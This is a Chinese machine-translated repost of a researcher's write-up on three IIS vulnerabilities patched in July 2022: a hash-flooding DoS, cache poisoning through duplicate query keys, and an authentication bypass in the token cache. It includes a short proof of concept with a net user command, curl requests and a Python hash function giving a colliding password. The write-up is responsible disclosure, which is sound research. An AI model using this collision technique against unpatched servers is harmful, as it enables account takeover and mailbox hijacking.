译文 | Let's Dance in the Cache - 破坏 Microsoft IIS 上的哈希表!
2022-8-18 10:29:43 Author: mp.weixin.qq.com(查看原文) 阅读量:35 收藏

开卷有益 · 不求甚解


前言

嗨,这是我第五次在Black Hat USA和DEFCON上发言。您可以在那里获取幻灯片副本和视频:

  • Let's Dance in the Cache - 破坏 Microsoft IIS 上的哈希表(幻灯片)
  • 让我们在缓存中跳舞 - 破坏 Microsoft IIS 上的哈希表(视频 - 待定)

作为计算机科学中最基本的数据结构,哈希表被广泛用于计算机基础设施,如操作系统、编程语言、数据库和 Web 服务器。此外,由于其重要性,微软很早就设计了自己的哈希表算法,并将其大量应用于其 Web 服务器 IIS。

由于 IIS 并没有发布其源代码,我猜算法实现细节应该是一个未探索的领域,可以发现 bug。因此,本研究主要关注哈希表的实现及其使用。我们还研究了缓存机制,因为 IIS 中的大多数哈希表使用都与缓存相关!

因为大部分细节都在幻灯片中,所以这次请原谅我写了这篇简短的文章而不是完整的博客。

  • CVE-2022-22025 - Microsoft IIS Hash-Flooding DoS
  • CVE-2022-22040 - Microsoft IIS 缓存中毒攻击
  • CVE-2022-30209 - Microsoft IIS 身份验证绕过

PS 此博客中解决的所有漏洞均已负责任地向 Microsoft 报告,并已于 2022 年 7 月修补。

1. IIS Hash-Flooding DoS

很难想象2022年我们还能在IIS中看到像Hash-Flooding Attack这样经典的算法复杂性攻击。虽然微软已经配置了一个线程每30秒删除一次过期记录来缓解攻击,但我们还是发现了一个key-splitting bug在实现中将我们的权力放大 10 倍以上,以零哈希击败守护者。通过这个错误,我们可以使默认安装的 IIS 服务器以每秒大约 30 个连接的速度无响应!

由于此错误也符合Windows Insider Preview 赏金计划的条件,因此我们还为此 DoS 奖励了 30,000 美元。这是拒绝服务类别的最高奖金!

您可以在此处查看完整的演示视频:https://www.youtube.com/embed/VtnDkzYPNCk

2. IIS缓存中毒攻击

与其他奇妙的 Cache Poisoning 研究相比,这个比较平淡。该错误出现在输出缓存的组件中,该模块负责缓存动态响应以减少对 Web 堆栈上昂贵的数据库或文件系统的访问。

输出缓存使用错误的查询字符串解析器,当查询字符串键重复时,它只将第一次出现作为缓存键。这种行为实际上并不是独立的问题。但是,从后端ASP.NET的整个体系结构来看,这是一个麻烦。后端将所有重复键的值连接在一起,这导致解析器行为之间的不一致。因此,一个经典的 HTTP 参数污染可以使 IIS 缓存错误的结果

3. IIS 身份验证绕过

这可能是这次谈话中最有趣的错误。LKRHash 是微软于 1997 年设计并获得专利的哈希表算法。它基于线性哈希,由微软研究院的Paul Larson 、IIS 团队的 Murali Krishnan 和 George Reilly 创建。

LKRHash 旨在在多线程和多核环境下构建可扩展的高并发哈希表。创建者付出了很多努力来使此实现具有可移植性、灵活性和可定制性,以适应 Microsoft 的多种产品。应用程序可以定义自己的表相关函数,例如散列函数、键提取函数或键比较函数。这种可扩展性为漏洞挖掘创造了大量机会。所以,在这种背景下,我们更关心的是记录、键和函数之间的关系。

CLKRHashTable::CLKRHashTable(
    this,
    "TOKEN_CACHE",   // An identifier for debugging
    pfnExtractKey,   // Extract key from record
    pfnCalcKeyHash,  // Calculate hash signature of key
    pfnEqualKeys,    // Compare two keys
    pfnAddRefRecord, // AddRef in FindKey, etc
    4.0,             // Bound on the average chain length.
    1,               // Initial size of hash table.
    0,               // Number of subordinate hash tables.
    0                // Allow multiple identical keys?
);

因为“登录”是一项开销很大的操作,为了提高性能,IIS默认缓存了所有基于密码的身份验证的令牌,例如基本身份验证,而我们这次发现的bug位于key-comparing函数的逻辑中发生碰撞。

如果登录尝试的哈希值命中了一个已经在缓存中的键,LKRHash 会进入应用程序特定的pfnEqualKeys函数来确定该键是否正确。具体应用逻辑TokenCacheModule如下:

由于逻辑比较了几个部分来做出决定,所以 IIS 比较用户名两次的原因很奇怪。

我猜最初的意图是比较密码。但是,开发人员复制并粘贴了代码,却忘记替换变量名。这导致攻击者可以使用随机密码重用另一个用户的登录令牌

要构建最小的 PoC 来测试您自己的,您可以创建一个测试帐户并在 IIS 上配置基本身份验证。

# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add

# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

在攻击者的终端下:

# script for sanity check
type test.py
def HashString(password):
    j = 0    
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

如您所见,攻击者可以使用orange与原始密码相同的另一个密码登录用户。

但是,碰撞哈希并不容易。每次尝试的概率仅值 1/2^32,因为哈希是 32 位整数,攻击者无法知道现有缓存键的哈希。像玩彩票一样利用这个漏洞是一个荒谬的数字。唯一的优点是尝试不花钱,而且您可以无限次尝试!

为了让这个 bug 更实用,我们提出了几种中奖方式,例如:

  1. 增加碰撞几率 - LKRHash 结合 LCG 对结果进行打乱,使哈希更加随机。但是,我们可以降低密钥空间,因为 LCG 在 32-Bit Integer 下不是一对一的映射。必须有永远不会出现的结果,这样我们就可以预先计算一个字典,将哈希不在结果中的密码排除在外,并至少提高 13% 的成功率
  2. 重拾主动权 - 通过了解根本原因,我们集思广益,讨论了几个可以将令牌永久缓存在内存中而不再等待用户交互的用例,例如 IIS 功能Connect As或利用软件设计模式。

我们还证明了这种攻击在 Microsoft Exchange Server 上自然有效。利用默认激活的Exchange Active Monitoring服务,我们可以HealthMailbox不用密码进入邮箱!这种无需身份验证的帐户劫持对于进一步的利用非常有用,例如网络钓鱼或将另一个经过身份验证的 RCE 链接在一起!

  • 2022 年 3 月 16 日 - 我们通过 MSRC 门户向 Microsoft 报告了 IIS 缓存中毒。
  • 2022 年 4 月 9 日 - 我们通过 MSRC 门户向 Microsoft 报告了 IIS Hash-Flooding DoS。
  • 2022 年 4 月 10 日 - 我们通过 MSRC 门户向 Microsoft 报告了 IIS 身份验证绕过。
  • 2022 年 7 月 12 日 - 微软在 7 月的补丁星期二修复了所有问题。

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(不定期删除),这是一项测试

最新动态: Follow Me

微信/微博: red4blue

公众号/知乎: blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247486852&idx=1&sn=72846e0e9c84a28465e073a1d05f083d&chksm=fb35a44ccc422d5a3aa0729fbd1cf58bf36c34b254d06eb12187e4c6a7cfcb1c130a7bcc4c4d#rd
如有侵权请联系:admin#unsafe.sh